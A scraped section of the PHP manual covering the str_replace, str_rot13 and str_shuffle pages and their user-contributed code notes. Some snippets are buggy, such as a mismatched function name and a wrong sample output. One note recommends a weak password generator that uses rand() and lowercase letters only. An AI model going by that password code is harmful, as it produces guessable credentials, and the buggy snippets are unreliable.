?>
At a glance it appears to be a reasonable request, until you realize that the fourth parameter must be a variable in order to be passed as a reference. A replacement:
<?php
str_replace($search, $replace, $subject, $temp = 1);
// or
$temp = 1;
str_replace($search, $replace, $subject, $temp);
?>
cc at cc dot com 31-Mar-2012 02:26
I found a pretty low tech solution to avoid the "gotcha" without worrying about the array order of how things are replaced. I could not "order" the replacement array easily because it was being read from a database table.

Anyway if you add an identifiable token to each replaced word, then just filter this out at the very end, no nested search terms are found. I just dynamically add the %% after the first char of each word before pumping it into the str_ireplace function.

$find = array("as1", "as2", "as3", "flex");
$replace = array("<a href = \"#as1\">A%%uto S%%entry R%%ev. A%%</a>", "<a href = \"#as2\">A%%uto S%%entry E%%xp</a>", "<a href = \"#as3\">A%%uto S%%entry f%%lex</a>", "<a style = \"color: red;\" href = \"#flex\">f%%lex</a>");
$text = str_ireplace($find, $replace, $text);
echo str_ireplace("%%", "", $text);

In this case I am using %% as my token as this is an unlikely char combo for me.
moostende at gmail dot com 27-Sep-2011 08:20
Note that this does not replace strings that become part of replacement strings. This may be a problem when you want to remove multiple instances of the same repetative pattern, several times in a row.

If you want to remove all dashes but one from the string '-aaa----b-c-----d--e---f' resulting in '-aaa-b-c-d-e-f', you cannot use str_replace. Instead, use preg_replace:

<?php
$challenge = '-aaa----b-c-----d--e---f';
echo str_replace('--', '-', $challenge).'<br>';
echo preg_replace('/--+/', '-', $challenge).'<br>';
?>

This outputs the following:
-aaa--b-c---d-e--f
-aaa-b-c-d-e-f
mbullard at accuvista dot co dot uk 14-Jul-2011 11:42
Insert space after comma.

If you have a form that stores results in a database field as comma separated values, when you display this data you can use the following to insert a space after each comma:

<?php
$find[] = ',';
$replace[] = '&#44;&nbsp;';
$text = str_replace($find, $replace, $row_rsRecordset['Field']);
print_r($text);
?>

Notes:
1) To get round the Replacement Order Gotcha, the comma is also replaced with its code equivalent: &#44;
2) You can adapt the $replace section to suit your needs: swap out the &nbsp; code with <br/> or replace comma and space with &nbsp;&middot;&nbsp; etc.
hakre 06-Jul-2011 05:08
I was looking for a str_replace function supporting callbacks. As I didn't found one I wrote one my own. Works exactly like str_replace, but the replace parameter is a callback or an array of callbacks (instead of string/strings in str_replace). The callback function accepts two arguments, the string that is being replaced and the count of the replacement being done.

<?php
/**
 * str_ureplace
 *
 * str_replace like function with callback
 *
 * @param string|array search
 * @param callback|array $replace
 * @param string|array $subject
 * @param int $replace_count
 * @return string|array subject with replaces, FALSE on error.
 */
function str_ureplace($search, $replace, $subject, &$replace_count = null) {
    $replace_count = 0;

    // validate input
    $search = array_values((array) $search);
    $searchCount = count($search);
    if (!$searchCount) {
        return $subject;
    }
    foreach($search as &$v) {
        $v = (string) $v;
    }
    unset($v);
    $replaceSingle = is_callable($replace);
    $replace = $replaceSingle ? array($replace) : array_values((array) $replace);
    foreach($replace as $index=>$callback) {
        if (!is_callable($callback)) {
            throw new Exception(sprintf('Unable to use %s (#%d) as a callback', gettype($callback), $index));
        }
    }

    // search and replace
    $subjectIsString = is_string($subject);
    $subject = (array) $subject;
    foreach($subject as &$haystack) {
        if (!is_string($haystack)) continue;
        foreach($search as $key => $needle) {
            if (!$len = strlen($needle))
                continue;
            $replaceSingle && $key = 0;
            $pos = 0;
            while(false !== $pos = strpos($haystack, $needle, $pos)) {
                $replaceWith = isset($replace[$key]) ? call_user_func($replace[$key], $needle, ++$replace_count) : '';
                $haystack = substr_replace($haystack, $replaceWith, $pos, $len);
            }
        }
    }
    unset($haystack);

    return $subjectIsString ? reset($subject) : $subject;
}
?>
jay_knows_(all)uk at hotmail dot com 16-Feb-2011 04:16
This strips out horrible MS word characters.

Just keep fine tuning it until you get what you need, you'll see ive commented some out which caused problems for me.

There could be some that need adding in, but its a start to anyone who wishes to make their own custom function.

<?php

function msword_conversion($str)
{
$str = str_replace(chr(130), ',', $str);    // baseline single quote
$str = str_replace(chr(131), 'NLG', $str);  // florin
$str = str_replace(chr(132), '"', $str);    // baseline double quote
$str = str_replace(chr(133), '...', $str);  // ellipsis
$str = str_replace(chr(134), '**', $str);   // dagger (a second footnote)
$str = str_replace(chr(135), '***', $str);  // double dagger (a third footnote)
$str = str_replace(chr(136), '^', $str);    // circumflex accent
$str = str_replace(chr(137), 'o/oo', $str); // permile
$str = str_replace(chr(138), 'Sh', $str);   // S Hacek
$str = str_replace(chr(139), '<', $str);    // left single guillemet
// $str = str_replace(chr(140), 'OE', $str);   // OE ligature
$str = str_replace(chr(145), "'", $str);    // left single quote
$str = str_replace(chr(146), "'", $str);    // right single quote
// $str = str_replace(chr(147), '"', $str);    // left double quote
// $str = str_replace(chr(148), '"', $str);    // right double quote
$str = str_replace(chr(149), '-', $str);    // bullet
$str = str_replace(chr(150), '-–', $str);    // endash
$str = str_replace(chr(151), '--', $str);   // emdash
// $str = str_replace(chr(152), '~', $str);    // tilde accent
// $str = str_replace(chr(153), '(TM)', $str); // trademark ligature
$str = str_replace(chr(154), 'sh', $str);   // s Hacek
$str = str_replace(chr(155), '>', $str);    // right single guillemet
// $str = str_replace(chr(156), 'oe', $str);   // oe ligature
$str = str_replace(chr(159), 'Y', $str);    // Y Dieresis
$str = str_replace('°C', '&deg;C', $str);    // Celcius is used quite a lot so it makes sense to add this in
$str = str_replace('£', '&pound;', $str);
$str = str_replace("'", "'", $str);
$str = str_replace('"', '"', $str);
$str = str_replace('–', '&ndash;', $str);

return $str;
}

?>
mevdschee 29-Jan-2011 12:19
say you want every "a" replaced by "abba" and every "b" replaced by "baab" in the string "ab" you do:

<?php
$search = array("a","b");
$replace = array("abba","baab");
echo str_replace($search,$replace,"ab");
?>

that results in "abaabbaababaab" and not the expected "abbabaab"

I wrote this little snippet to solve the replacements-in-replacement problem:

<?php
function search_replace($s,$r,$sql)
{ $e = '/('.implode('|',array_map('preg_quote', $s)).')/';
  $r = array_combine($s,$r);
  return preg_replace_callback($e, function($v) use ($s,$r) { return $r[$v[1]]; },$sql);
}

echo search_replace($search,$replace,"ab");
?>

that results in the expected "abbabaab"
nikolaz dot tang at hotmail dot com 12-Nov-2010 05:57
A faster way to replace the strings in multidimensional array is to json_encode() it, do the str_replace() and then json_decode() it, like this:

<?php
function str_replace_json($search, $replace, $subject){
     return json_decode(str_replace($search, $replace,  json_encode($subject)));

}
?>

This method is almost 3x faster (in 10000 runs.) than using recursive calling and looping method, and 10x simpler in coding.

Compared to:

<?php
function str_replace_deep($search, $replace, $subject)
{
    if (is_array($subject))
    {
        foreach($subject as &$oneSubject)
            $oneSubject = str_replace_deep($search, $replace, $oneSubject);
        unset($oneSubject);
        return $subject;
    } else {
        return str_replace($search, $replace, $subject);
    }
}
?>
apmuthu at usa dot net 19-Jun-2010 09:31
If we have a html template that contains placeholders in curly braces that need to be replaced in runtime, the following function will do it using str_replace:

<?php

function parse_template($filename, $data) {
// example template variables {a} and {bc}
// example $data array
// $data = Array("a" => 'one', "bc" => 'two');
    $q = file_get_contents($filename);
    foreach ($data as $key => $value) {
        $q = str_replace('{'.$key.'}', $value, $q);
    }
    return $q;
}

?>
cableray 11-Jun-2010 09:03
If you wish to get around the 'gotcha', you could do something like this:

<?php

$find=array('a', 'p', '^', '*');
$replace = array('^', '*', 'apple', 'pear');
str_replace($find, $replace, 'a p');

?>

The idea here is that you first replace the items you want with unique identifiers (that you are unlikely to find in the subject) and then search for those identifiers and then replace them.
christian dot reinecke at web dot de 14-May-2010 09:06
If you need to replace a string in another, but only once but still in all possible combinations (f.e. to replace "a" with "x" in "aba" to get array("xba", "abx")) you can use this function:
<?php
function getSingleReplaceCombinations($replace, $with, $inHaystack)
{
    $splits = explode($replace, $inHaystack);
    $result = array();
    for ($i = 1, $ix = count($splits); $i < $ix; ++$i) {
        $previous = array_slice($splits, 0, $i);
        $next     = array_slice($splits, $i);

        $combine  = array_pop($previous) . $with . array_shift($next);
        $result[] = implode($replace, array_merge($previous, array($combine), $next));
    }
    return $result;
}
var_dump(getSingleReplaceCombinations("a", "x", "aba")); // result as mentioned above
?>
It may not be the best in performance, but it works.
jbarnett at jmbelite dot com 26-Apr-2010 10:23
Might be worth mentioning that a SIMPLE way to accomplish Example 2 (potential gotchas) is to simply start your "replacements" in reverse.

So instead of starting from "A" and ending with "E":

<?php
$search  = array('A', 'B', 'C', 'D', 'E');
$replace = array('B', 'C', 'D', 'E', 'F');
// replaces A to B, B to C, C to D, D to E, E to F (makes them all F)
// start from "E" and end with "A":

$search  = array('E', 'D', 'C', 'B', 'A');
$replace = array('F', 'E', 'D', 'C', 'B');
// replaces E to F, D to E, C to D, B to C, A to B (prevents from
// multiple replacements of already replaced values)
?>

So basically start from the "end" and put the replacements in an order where the "replaced value" won't equal a value that exists later in the "search array".
pjcdawkins at googlemail dot com 24-Apr-2010 02:23
Here's a deep replace function allowing multi-dimensional arrays in $search, $replace and $subject. The keys and other structure of $subject are preserved.

<?php
// Auxiliary function:
function _replaceWithAnything($search,$replace,$subject){
  if(!is_array($search) || !is_array($replace)){
    $search=array($search);
    $replace=array($replace);
  }
  $match=array_search($subject,$search,true);
  if($match!==false && array_key_exists($match,$replace))
    $subject=$replace[$match];
  return $subject;
}

// Main function:
function deepReplace($search,$replace,$subject){
  if(!is_array($subject))
    return _replaceWithAnything($search,$replace,$subject);
  foreach($subject as &$val){
    if(is_array($val)){
      $val=deepReplace($search,$replace,$val);
      continue;
    }
    $val=_replaceWithAnything($search,$replace,$val);
  }
  return $subject;
}
?>
fleshgrinder at gmx dot at 16-Apr-2010 02:50
Fast function to replace new lines from a given string. This is interesting to replace all new lines from e. g. a text formatted in HTML retrieved from database and printing it without the unnecessary new lines. This results in slightly faster rendering in the Web browser.

<?php

/**
 * Replace all linebreaks with one whitespace.
 *
 * @access public
 * @param string $string
 *   The text to be processed.
 * @return string
 *   The given text without any linebreaks.
 */
function replace_newline($string) {
  return (string)str_replace(array("\r", "\r\n", "\n"), '', $string);
}

?>
Wes Foster 17-Dec-2009 10:32
Feel free to optimize this using the while/for or anything else, but this is a bit of code that allows you to replace strings found in an associative array.

For example:
<?php
$replace = array(
'dog' => 'cat',
'apple' => 'orange'
'chevy' => 'ford'
);

$string = 'I like to eat an apple with my dog in my chevy';

echo str_replace_assoc($replace,$string);

// Echo: I like to eat an orange with my cat in my ford
?>

Here is the function:

<?php
function strReplaceAssoc(array $replace, $subject) {
   return str_replace(array_keys($replace), array_values($replace), $subject);
}
?>

[Jun 1st, 2010 - EDIT BY thiago AT php DOT net: Function has been replaced with an updated version sent by ljelinek AT gmail DOT com]
Decko 15-Oct-2009 10:41
As mentioned earlier you should take the order into account when substituting multiple values.

However it is worth noticing that str_replace doesn't seem to re-read the string when doing single replacements. Take the following example.

<?php
  $s = '/a/a/';
  $s = str_replace('/a/', '/', $s);
?>

You would expect the following.

First replacement '/a/a/' -> '/a/'
Second replacement '/a/'->'/'

This is not the case, the actual result will be '/a/'.

To fix this, you will have to put str_replace in a while-loop.

<?php
  $s = '/a/a/';
  while(strpos($s, '/a/') !== false)
    $s = str_replace('/a/', '/', $s); //eventually $s will == '/'
?>
Alberto Lepe 16-Jun-2009 04:44
Be careful when replacing characters (or repeated patterns in the FROM and TO arrays):

For example:

<?php
$arrFrom = array("1","2","3","B");
$arrTo = array("A","B","C","D");
$word = "ZBB2";
echo str_replace($arrFrom, $arrTo, $word);
?>

I would expect as result: "ZDDB"
However, this return: "ZDDD"
(Because B = D according to our array)

To make this work, use "strtr" instead:

<?php
$arr = array("1" => "A","2" => "B","3" => "C","B" => "D");
$word = "ZBB2";
echo strtr($word,$arr);
?>

This returns: "ZDDB"
moz667 at gmail dot com 21-May-2009 06:49
<?php
/*
This is a function for made recursive str_replaces in an array
*/
function recursive_array_replace($find, $replace, &$data) {
    if (is_array($data)) {
        foreach ($data as $key => $value) {
            if (is_array($value)) {
                recursive_array_replace($find, $replace, $data[$key]);
            } else {
                $data[$key] = str_replace($find, $replace, $value);
            }
        }
    } else {
        $data = str_replace($find, $replace, $data);
    }
}

$a = array();
$a['a'] = "a";
$a['b']['a'] = "ba";
$a['b']['b'] = "bb";
$a['c'] = "c";
$a['d']['a'] = "da";
$a['d']['b'] = "db";
$a['d']['c'] = "dc";
$a['d']['d'] = "dd";

echo "Before Replaces";
print_r($a);

recursive_array_replace("a", "XXXX", $a);

echo "After Replaces";
print_r($a);
?>
michael dot moussa at gmail dot com 29-Jan-2009 03:38
As previous commentators mentioned, when $search contains values that occur earlier in $replace, str_replace will factor those previous replacements into the process rather than operating solely on the original string.  This may produce unexpected output.

Example:

<?php
$search = array('A', 'B', 'C', 'D', 'E');
$replace = array('B', 'C', 'D', 'E', 'F');
$subject = 'ABCDE';

echo str_replace($search, $replace, $subject); // output: 'FFFFFF'
?>

In the above code, the $search and $replace should replace each occurrence in the $subject with the next letter in the alphabet.  The expected output for this sample is 'BCDEF'; however, the actual output is 'FFFFF'.

To more clearly illustrate this, consider the following example:

<?php
$search = array('A', 'B', 'C', 'D', 'E');
$replace = array('B', 'C', 'D', 'E', 'F');
$subject = 'A';

echo str_replace($search, $replace, $subject); // output: 'F'
?>

Since 'A' is the only letter in the $search array that appears in $subject, one would expect the result to be 'B'; however, replacement number $n does *not* operate on $subject, it operates on $subject after the previous $n-1 replacements have been completed.

The following function utilizes array_combine and strtr to produce the expected output, and I believe it is the most efficient way to perform the desired string replacement without prior replacements affecting the final result.

<?php
/**
* When using str_replace(...), values that did not exist in the original string (but were put there by previous
* replacements) will be replaced continuously.  This string replacement function is designed replace the values
* in $search with those in $replace while not factoring in prior replacements.  Note that this function will
* always look for the longest possible match first and then work its way down to individual characters.
*
* The "o" in "stro_replace" represents "original", indicating that the function operates only on the original string.
*
* @param array $search list of strings or characters that need to be replaced
* @param array $replace list of strings or characters that will replace the corresponding values in $search
* @param string $subject the string on which this operation is being performed
*
* @return string $subject with all substrings in the $search array replaced by the values in the $replace array
*/
function stro_replace($search, $replace, $subject)
{
    return strtr( $subject, array_combine($search, $replace) );
}

$search = array('A', 'B', 'C', 'D', 'E');
$replace = array('B', 'C', 'D', 'E', 'F');
$subject = 'ABCDE';

echo stro_replace($search, $replace, $subject); // output: 'BCDEF'
?>

Some other examples:

<?php
$search = array(' ', '&');
$replace = array('&nbsp;', '&amp;');
$subject = 'Hello & goodbye!';

// We want to replace the spaces with &nbsp; and the ampersand with &amp;
echo str_replace($search, $replace, $subject); // output: "Hello&amp;nbsp&amp;&amp;nbspgoodbye!" - wrong!

echo stro_replace($search, $replace, $subject); // output: "Hello&nbsp;&amp;&nbsp;goodbye!" - correct!

/*
    Note:  Run the above code in the CLI or view source on your web browser - the replacement strings for stro_replace are HTML entities which the browser interprets.
*/
?>

<?php
$search = array('ERICA', 'AMERICA');
$replace = array('JON', 'PHP');
$subject = 'MIKE AND ERICA LIKE AMERICA';

// We want to replace the name "ERICA" with "JON" and the word "AMERICA" with "PHP"
echo str_replace($search, $replace, $subject); // output: "MIKE AND JON LIKE AMJON", which is not correct

echo stro_replace($search, $replace, $subject); // output: "MIKE AND JON LIKE PHP", which is correct
?>
nospam at nospam dot com 02-Dec-2008 11:55
Replacement for str_replace in which a multiarray of numerically keyed data can be properly evaluated with the given template without having a search for 11 be mistaken for two 1's next to each other

<?php

function data_template($input, $template) {
  if ($template) { // template string
    if ($split = str_split($template)) { // each char as array member
      foreach ($split as $char) { // each character
        if (is_numeric($char)) { // test for digit
          if ($s != 1) { // new digit sequence
            $i++;
            $s = 1;
          }
          $digits[$i] .= $char; // store digit
        } else { // not a digit
          if ($s != 2) { // new non-digit sequence
            $i++;
            $s = 2;
          }
          $strings[$i] .= $char; // store string
        }
      }
      if ($i && $input && is_array($input)) { // input data
        foreach ($input as $sub) { // each subarray
          if (is_array($sub)) {
            $out = ''; // reset output
            for ($j = 0; $j <= $i; $j++) { // each number/string member
              if ($number = $digits[$j]) { // number
                $out .= $sub[$number]; // add value from subarray to output
              } else { // string
                $out .= $strings[$j]; // add to output
              }
            }
            $a[] = $out;
          }
        }
        return $a;
      } // input
    } // split
  } // template
}

$input = array(array(1=>'yellow', 2=>'banana', 11=>'fruit'), array(1=>'green', 2=>'spinach', 11=>'vegetable'), array(1=>'pink', 2=>'salmon', 11=>'fish'));

print_r (data_template($input, '2: a 1, healthy 11'));

/*
Array
(
    [0] => banana: a yellow, healthy fruit
    [1] => spinach: a green, healthy vegetable
    [2] => salmon: a pink, healthy fish
)
*/

// str_replace would have wanted to output 'banana: a yellow, healthy yellowyellow

?>

Not sure if this will help anyone but I wrote it for my application and thought I would share just in case
nick at NOSPAM dot pitchinteractive dot com 07-Oct-2008 01:12
I tried max at efoxdesigns dot com solution for str_replace_once but it didn't work quite right so I came up with this solution (all params must be strings):

<?php
function str_replace_once($search, $replace, $subject) {
    $firstChar = strpos($subject, $search);
    if($firstChar !== false) {
        $beforeStr = substr($subject,0,$firstChar);
        $afterStr = substr($subject, $firstChar + strlen($search));
        return $beforeStr.$replace.$afterStr;
    } else {
        return $subject;
    }
}
?>
paolo A T doppioclick D O T com 05-Sep-2008 01:15
For PHP 4 < 4.4.5 and PHP 5 < 5.2.1 you may occur (like me) in this bug:

http://www.php-security.org/MOPB/MOPB-39-2007.html
troy at troyonline dot com 23-Jun-2008 07:18
Yet another deep replace function:

<?php
    function str_replace_deep( $search, $replace, $subject)
    {
        $subject = str_replace( $search, $replace, $subject);

        foreach ($subject as &$value)
            is_array( $value) and $value =str_replace_deep( $search, $replace, $value);

        return $subject;
    }
?>
David Gimeno i Ayuso (info at sima dot cat) 09-Aug-2007 09:22
With PHP 4.3.1, at least, str_replace works fine when working with single arrays but mess it all with two or more dimension arrays.

<?php
$subject = array("You should eat this","this","and this every day.");
$search  = "this";
$replace = "that";
$new     = str_replace($search, $replace, $subject);

print_r($new); // Array ( [0] => You should eat that [1] => that [2] => and that every day. )

echo "<hr />";

$subject = array(array("first", "You should eat this")
                ,array("second","this")
                ,array("third", "and this every day."));
$search  = "this";
$replace = "that";
$new     = str_replace($search, $replace, $subject);

print_r($new); // Array ( [0] => Array [1] => Array [2] => Array )

?>
kole 26-Feb-2007 02:48
My input is MS Excel file but I want to save ‘,’,“,” as ',',",".

    $badchr        = array(
        "\xc2", // prefix 1
        "\x80", // prefix 2
        "\x98", // single quote opening
        "\x99", // single quote closing
        "\x8c", // double quote opening
        "\x9d"  // double quote closing
    );

    $goodchr    = array('', '', '\'', '\'', '"', '"');

    str_replace($badchr, $goodchr, $strFromExcelFile);

Works for me.
15-Jan-2007 10:42
Before spending hours searching your application why it makes UTF-8 encoding into some malformed something with str_replace, make sure you save your PHP file in UTF-8 (NO BOM).

This was at least one of my problems.
matt wheaton 30-Mar-2006 04:40
As an effort to remove those Word copy and paste smart quotes, I've found that this works with UTF8 encoded strings (where $text in the following example is UTF8). Also the elipsis and em and en dashes are replaced.

There is an "invisible" character after the â€ for the right side double smart quote that doesn't seem to display here. It is chr(157).

<?php
  $find[] = 'â€œ';  // left side double smart quote
  $find[] = 'â€';  // right side double smart quote
  $find[] = 'â€˜';  // left side single smart quote
  $find[] = 'â€™';  // right side single smart quote
  $find[] = 'â€¦';  // elipsis
  $find[] = 'â€”';  // em dash
  $find[] = 'â€“';  // en dash

  $replace[] = '"';
  $replace[] = '"';
  $replace[] = "'";
  $replace[] = "'";
  $replace[] = "...";
  $replace[] = "-";
  $replace[] = "-";

  $text = str_replace($find, $replace, $text);
?>


Perform the rot13 transform on a string

  • « str_replace
  • str_shuffle »
  • PHP Manual
  • String Functions
  • Perform the rot13 transform on a string

str_rot13

(PHP 4 >= 4.2.0, PHP 5)

str_rot13 — Perform the rot13 transform on a string

Description

string str_rot13 ( string $str )

Performs the ROT13 encoding on the str argument and returns the resulting string.

The ROT13 encoding simply shifts every letter by 13 places in the alphabet while leaving non-alpha characters untouched. Encoding and decoding are done by the same function, passing an encoded string as argument will return the original version.

Parameters

str

The input string.

Return Values

Returns the ROT13 version of the given string.

Examples

Example #1 str_rot13() example

<?php

echo str_rot13('PHP 4.3.0'); // CUC 4.3.0

?>

User Contributed Notes

steve 03-Jul-2013 06:37
Below is a short function that allows you to rotate a string which includes non alphabetic characters you choose.

By running the code without the second argument you can both obfuscate then de-obfuscate.  This isn't a safe form of encryption, just a quick way to hide stuff from the casual viewer.

function str_rot($s, $n = -1) {
    //Rotate a string by a number.
    static $letters = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789.,!$*+-?@#'; //To be able to de-obfuscate your string the length of this needs to be a multiple of 4 AND no duplicate characters
    $letterLen=round(strlen($letters)/2);
    if($n==-1) $n=(int)($letterLen/2); //Find the "halfway rotate point"
    $n = (int)$n % ($letterLen);
    if (!$n) return $s;
    if ($n < 0) $n += ($letterLen);
    //if ($n == 13) return str_rot13($s);
    $rep = substr($letters, $n * 2) . substr($letters, 0, $n * 2);
    return strtr($s, $letters, $rep);
}

$input="ABC123";
$output=str_rot($input);
echo $input." = ".$output." = ".str_rot($output)."<br>";
shaun 11-Feb-2012 11:44
I was reminded again of the desire for a generic str_rot function. Character manipulation loops in PHP are slow compared to their C counterparts, so here's a tuned version of the previous function I posted. It's 1.6 times as fast, mainly by avoiding chr() calls.

<?php
function str_rot($s, $n = 13) {
    static $letters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $n = (int)$n % 26;
    if (!$n) return $s;
    if ($n == 13) return str_rot13($s);
    for ($i = 0, $l = strlen($s); $i < $l; $i++) {
        $c = $s[$i];
        if ($c >= 'a' && $c <= 'z') {
            $s[$i] = $letters[(ord($c) - 71 + $n) % 26];
        } else if ($c >= 'A' && $c <= 'Z') {
            $s[$i] = $letters[(ord($c) - 39 + $n) % 26 + 26];
        }
    }
    return $s;
}
?>

But using strtr() you can get something 10 times as fast as the above :

<?php
function str_rot($s, $n = 13) {
    static $letters = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz';
    $n = (int)$n % 26;
    if (!$n) return $s;
    if ($n < 0) $n += 26;
    if ($n == 13) return str_rot13($s);
    $rep = substr($letters, $n * 2) . substr($letters, 0, $n * 2);
    return strtr($s, $letters, $rep);
}
?>

This technique is faster because PHP's strtr is implemented in C using a byte lookup table (it has O(m + n) complexity). However, PHP 6 will use Unicode, so I guess(?) strtr will then have to be implemented with a search for each character (O(m * n)). Using strtr might still be faster since it offloads the character manipulation to C rather than PHP, but I don't really know. Take your pick.

Happy coding!

(Benchmark code):

<?php
for ($k = 0; $k < 10; $k++) {
    $s = 'The quick brown fox jumps over the lazy dog.';
    $t = microtime(1);
    for ($i = 0; $i < 1000; $i++) $s = str_rot($s, $i);
    $t = microtime(1) - $t;
    echo number_format($t, 3) . "\n";
}
?>
shaunspiller at spammenotgmail dot com 26-Sep-2009 05:54
Here's my implementation of a str_rot that takes a custom offset. It's faster than the others here because it allocates the output string in one go instead of tacking on characters one at a time. It can handle positive or negative offsets of any size, and it fixes everything up to ensure only upper and lower case letters are translated and that they wrap around correctly within the alphabet.

<?php
function str_rot($s, $n = 13) {
    $n = (int)$n % 26;
    if (!$n) return $s;
    for ($i = 0, $l = strlen($s); $i < $l; $i++) {
        $c = ord($s[$i]);
        if ($c >= 97 && $c <= 122) {
            $s[$i] = chr(($c - 71 + $n) % 26 + 97);
        } else if ($c >= 65 && $c <= 90) {
            $s[$i] = chr(($c - 39 + $n) % 26 + 65);
        }
    }
    return $s;
}
?>
peter at NOSPAM jamit dot com 07-Sep-2009 04:31
This ROT13 variant is different from my earlier version in that it retains 'ethnicity'. For example, a Chinese text when encrypted will remain Chinese, and the string will not be making sense (the real meaning will be encrypted). Just look at the code and you will understand.

<?php

function unichar2ords($char, $encoding = 'UTF-8') {
    $char = mb_convert_encoding($char, 'UCS-4', $encoding);
    $val = unpack('N', $char);
    return $val[1];
    }

function ords2unichar($ords, $encoding = 'UTF-8'){
    $char = pack('N', $ords);
    return mb_convert_encoding($char, $encoding, 'UCS-4');
    }

function mbStringToArray ($string, $encoding = 'UTF-8') {
    if (empty($string)) return false;
    for ($strlen = mb_strlen($string, $encoding); $strlen > 0; ) {
        $array[] = mb_substr($string, 0, 1, $encoding);
        $string  = mb_substr($string, 1, $strlen, $encoding);
        $strlen  = $strlen - 1;
        }
    return $array;
    }

function unicodeRotN($str, $offset, $encoding = 'UTF-8') {
    $val = '';
    $array = mbStringToArray ($str, $encoding = 'UTF-8');
    $len = count($array);
    for ($i = 0; $i < $len; $i++) {
        $val .= ords2unichar(unichar2ords($array[$i], $encoding) + $offset, $encoding);
        }
    return $val;
    }

// example

$original = '中國是我的家'; // means "China is my home"

$encrypted = unicodeRotN($string, 13); // 为團昼戞皑寃 means "Ñ Ai injustice for the Mission Day" (Google translation)

$decrypted = unicodeRotN($encrypted, -13); // 中國是我的家

?>
peter at NOSPAM jamit dot com 07-Sep-2009 10:11
Here is my ROT13 function that works for all possible characters and not just ASCII. It can be used on Chinese, Japanese, ....

<?php

function rot13encrypt ($str) {
    return str_rot13(base64_encode($str));
    }

function rot13decrypt ($str) {
    return base64_decode(str_rot13($str));
    }

// example

$string = '中國是我的家';

$encrypted = rot13encrypt ($string); // produces 5Yvg5MlY5cvi5bvE55dR5n62

$decrypted = rot13decrypt ($encrypted); // produces 中國是我的家

?>
arwab at surrealwebs dot com 11-Jul-2007 10:11
here's my rot function, it works anyway
<?php
/**
 * preforms the rotation algorithm on the passed in string
 */
function _rot( $str , $dist=13 ){
    if( !is_numeric($dist) || $dist < 0){
        $dist = 13;
    }

    $u_lower =  65; $u_upper =  90;
    $l_lower =  97; $l_upper = 122;

    $char_count = ($u_upper - $u_lower) +1;

    while( $dist > $char_count ){
        $dist -= $char_count;
    }

    $newstr = '';

    for( $i=0; $i<strlen($str); ++$i){
        $c = ord($str[$i]);

        /*
         * Check if the character is within the bounds of our function (a-zA-z)
         * if not it gets tacked on to the string as is and we move on to the
         * next one.
         */
        if( $c<$u_lower || $c>$l_upper || ( $c>$u_upper && $c <$l_lower ) ){
            $newstr .= chr($c);
            continue;
        }

        $lower = ( $c<=$u_upper?$u_lower:$l_lower);
        $upper = ( $c<=$u_upper?$u_upper:$l_upper);

        $c += $dist;

        if( $c > $upper){
            $c = (($c - $upper) + ($lower-1));
        }

        $newstr .= chr($c);
    }

    return $newstr;
}
?>
electro at whatever dot com 31-May-2007 09:21
<?php

/**
 * Rotate each string characters by n positions in ASCII table
 * To encode use positive n, to decode - negative.
 * With n = 13 (ROT13), encode and decode n can be positive.
 *
 * @param string $string
 * @param integer $n
 * @return string
 */
function rotate($string, $n) {

    $length = strlen($string);
    $result = '';

    for($i = 0; $i < $length; $i++) {
        $ascii = ord($string{$i});

        $rotated = $ascii;

        if ($ascii > 64 && $ascii < 91) {
            $rotated += $n;
            $rotated > 90 && $rotated += -90 + 64;
            $rotated < 65 && $rotated += -64 + 90;
        } elseif ($ascii > 96 && $ascii < 123) {
            $rotated += $n;
            $rotated > 122 && $rotated += -122 + 96;
            $rotated < 97 && $rotated += -96 + 122;
        }

        $result .= chr($rotated);
    }

    return $result;
}

$enc = rotate('string', 6);
echo "Encoded: $enc<br/>\n";
echo 'Decoded: ' . rotate($enc, -6);

?>
maximius at gmail dot com 26-May-2007 01:30
Perhaps someone will find this useful ;)

<?
           function rotN($s, $n){
                $s2 = "";
                for($i = 0; $i < strlen($s); $i++){
                    $char2 = $char = ord($s{$i});
                    $cap = $char & 32;

                    $char &= ~ $cap;
                    $char = $char > 64 && $char < 123 ? (($char - 65 + $n) % 26 + 65) : $char;
                    $char |= $cap;
                    if($char < 65 && $char2 > 64 || ($char > 90 && $char < 97 && ($char2 < 91 || $char2 > 96))) $char += 26;
                    else if($char > 122 && $char2 < 123) $char -= 52;
                    if(strtoupper(chr($char2)) === chr($char2)) $char = strtoupper(chr($char)); else $char = strtolower(chr($char));
                    $s2 .= $char;
                }
                return $s2;
            }
?>
It takes any string, $s, and any ROT value, $n. Just like str_rot13, it's both an encoder and decoder. To decode an encoded string, just pass -$n instead of $n.


Randomly shuffles a string

  • « str_rot13
  • str_split »
  • PHP Manual
  • String Functions
  • Randomly shuffles a string

str_shuffle

(PHP 4 >= 4.3.0, PHP 5)

str_shuffle — Randomly shuffles a string

Description

string str_shuffle ( string $str )

str_shuffle() shuffles a string. One permutation of all possible is created.

Parameters

str

The input string.

Return Values

Returns the shuffled string.

Examples

Example #1 str_shuffle() example

<?php
$str = 'abcdef';
$shuffled = str_shuffle($str);

// This will echo something like: bfdaec
echo $shuffled;
?>

See Also

  • shuffle() - Shuffle an array
  • rand() - Generate a random integer

User Contributed Notes

Anonymous 15-Oct-2014 02:35
str_shuffle isn't recommendable for passwords. Each character exists only one time).

A function like the following one is better for this.

<?php
    function generatePassword($length = 8) {
        $possibleChars = "abcdefghijklmnopqrstuvwxyz";
        $password = '';

        for($i = 0; $i < $length; $i++) {
            $rand = rand(0, strlen($possibleChars) - 1);
            $password .= substr($possibleChars, $rand, 1);
        }

        return $password;
    }
?>
qeremy [atta] gmail [dotta] com 24-Feb-2012 08:58
A proper unicode string shuffle;

<?php
function str_shuffle_unicode($str) {
    $tmp = preg_split("//u", $str, -1, PREG_SPLIT_NO_EMPTY);
    shuffle($tmp);
    return join("", $tmp);
}
?>

$str = "Şeker yârim"; // My sweet love

echo str_shuffle($str); // i�eymrŢekr �

echo str_shuffle_unicode($str); // Şr mreyeikâ
Anonymous 21-Jun-2010 07:32
Shuffle for all encoding formats

<?php

function unicode_shuffle($string, $chars, $format = 'UTF-8')
{
    for($i=0; $i<$chars; $i++)
        $rands[$i] = rand(0, mb_strlen($string, $format));

        $s = NULL;

    foreach($rands as $r)
        $s.= mb_substr($string, $r, 1, $format);

    return $s;
}

?>
